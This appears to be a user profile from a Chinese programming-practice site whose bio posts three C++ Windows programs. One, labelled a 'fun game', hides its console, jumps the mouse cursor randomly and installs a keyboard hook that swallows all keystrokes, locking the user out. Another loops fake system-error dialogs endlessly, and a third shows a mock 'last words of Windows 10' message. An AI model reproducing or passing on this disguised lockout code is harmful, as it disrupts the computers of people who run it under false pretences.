• 个人简介

    你可以来看看里面有什么=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [1]

    好玩的游戏

    #include <Windows.h>
    #include <iostream>
    using namespace std;
    
    HHOOK g_keyboardHook;
    
    LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode >= 0 && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
            return 1;
        }
        return CallNextHookEx(g_keyboardHook, nCode, wParam, lParam);
    }
    
    int main() {
    	while(1)
    	{
    		int cx=GetSystemMetrics(SM_CXSCREEN); 
    		int cy=GetSystemMetrics(SM_CYSCREEN); 
    		HWND hwnds; hwnds = FindWindow("ConsoleWindowClass", NULL);
    		if (hwnds) 
    		{ 
    			ShowOwnedPopups(hwnds, SW_HIDE);
    			ShowWindow(hwnds, SW_HIDE);
    		} 
    		HDC hdcs = GetDC(0); 
    		int x=GetSystemMetrics(SM_CXSCREEN);
    		int y=GetSystemMetrics(SM_CYSCREEN);
    		srand(time(0));
    		SetCursorPos(rand()%x,rand()%y);
    	    g_keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    	    MSG msg;
    	    while (GetMessage(&msg, NULL, 0, 0)) {
    	        TranslateMessage(&msg);
    	        DispatchMessage(&msg);
    	    }
    	
    	
    	    UnhookWindowsHookEx(g_keyboardHook);
    	}
        
        return 0;
    }
    
    

    你考试得了 而我

    -----wow-----

    windous 10最后想说的话V0.1.cpp

    #include <windows.h>
    
    int main() {
        // 创建带确定按钮的消息框
        MessageBox(
            NULL,                           // 父窗口句柄,NULL表示无父窗口
            "再过几年,我就离开世界了",  // 消息内容
            "Windous10最后想说的话",                         // 标题
            MB_OK | MB_ICONINFORMATION      // 按钮类型和图标:MB_OK表示确定按钮,MB_ICONINFORMATION表示信息图标
        );
        return 0;
    }
    
    
    
    

    ·

    #include <windows.h>
    
    void showWindowsError() {
        // 基础错误对话框
        MessageBox(
            NULL,
            "发生了一个系统错误!",
            "Wrorr",
            MB_OK | MB_ICONERROR
        );
        
        // 带重试选项的错误对话框
        int result = MessageBox(
            NULL,
            "文件读取失败,是否重试?",
            "操作错误",
            MB_RETRYCANCEL | MB_ICONWARNING
        );
        
        if (result == IDRETRY) {
            // 重试逻辑
            MessageBox(NULL, "正在重试操作...", "信息", MB_OK | MB_ICONINFORMATION);
        }
    }
    
    int main() {
    	while(1)
    	{
    		showWindowsError();	
    	}
        return 0;
    }
    


    1. 返回顶部 ↩︎

  • 通过的题目

  • 最近活动

  • 最近编写的题解

    This person is lazy and didn't write any solutions.

题目标签

入门
1